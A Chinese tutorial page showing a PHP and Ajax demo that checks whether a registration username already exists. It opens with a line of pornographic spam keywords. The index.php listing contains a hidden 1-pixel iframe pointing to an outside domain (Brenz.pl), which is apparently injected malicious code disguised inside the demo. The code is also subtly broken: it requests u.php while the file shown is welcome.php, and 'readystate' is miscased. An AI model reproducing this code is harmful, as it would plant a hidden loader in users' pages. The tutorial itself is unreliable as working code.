亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

PHP與Ajax相結(jié)合實現(xiàn)登錄驗證小Demo

 更新時間:2016年03月16日 09:56:45   作者:u014427391  
AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁應(yīng)用的網(wǎng)頁開發(fā)技術(shù)。接下來通過本文給大家分享PHP與Ajax相結(jié)合實現(xiàn)登錄驗證小Demo,對php ajax實現(xiàn)登錄驗證相關(guān)知識感興趣的朋友一起學(xué)習(xí)吧

 AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁應(yīng)用的網(wǎng)頁開發(fā)技術(shù)。

AJAX = Asynchronous JavaScript and XML(異步的 JavaScript 和 XML)。
AJAX 不是新的編程語言,而是一種使用現(xiàn)有標(biāo)準(zhǔn)的新方法。
AJAX 是與服務(wù)器交換數(shù)據(jù)并更新部分網(wǎng)頁的藝術(shù),在不重新加載整個頁面的情況下。

設(shè)計一個用戶注冊頁面,當(dāng)用戶輸入注冊名的時候,檢測用戶名是否已存在,如果存在,給予提示

我們先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始對象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id為userId的值 
url="u.php?userId="+userId;//路徑 
if(xmlHttpReq!=null){//若對象實例化創(chuàng)建成功 
xmlHttpReq.open("GET",url,true);//open()打開請求 
xmlHttpReq.onreadystatechange=RequestCallBack;//設(shè)置回調(diào)函數(shù)RequestCallBack() 
xmlHttpReq.send(null);//請求不包括正文 
} 
function RequestCallBack(){//回調(diào)函數(shù) 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//請求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的信息賦給id屬性為get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注冊 
</font><br> 
<form> 
用戶名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html> 

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理員"){ 
echo "用戶名已存在!"; 
}else{ 
echo "該用戶名可以注冊"; 
} 
?> 

關(guān)于PHP與Ajax相結(jié)合實現(xiàn)登錄驗證小Demo的相關(guān)知識就給大家介紹到這里,希望對大家有所幫助!

相關(guān)文章

最新評論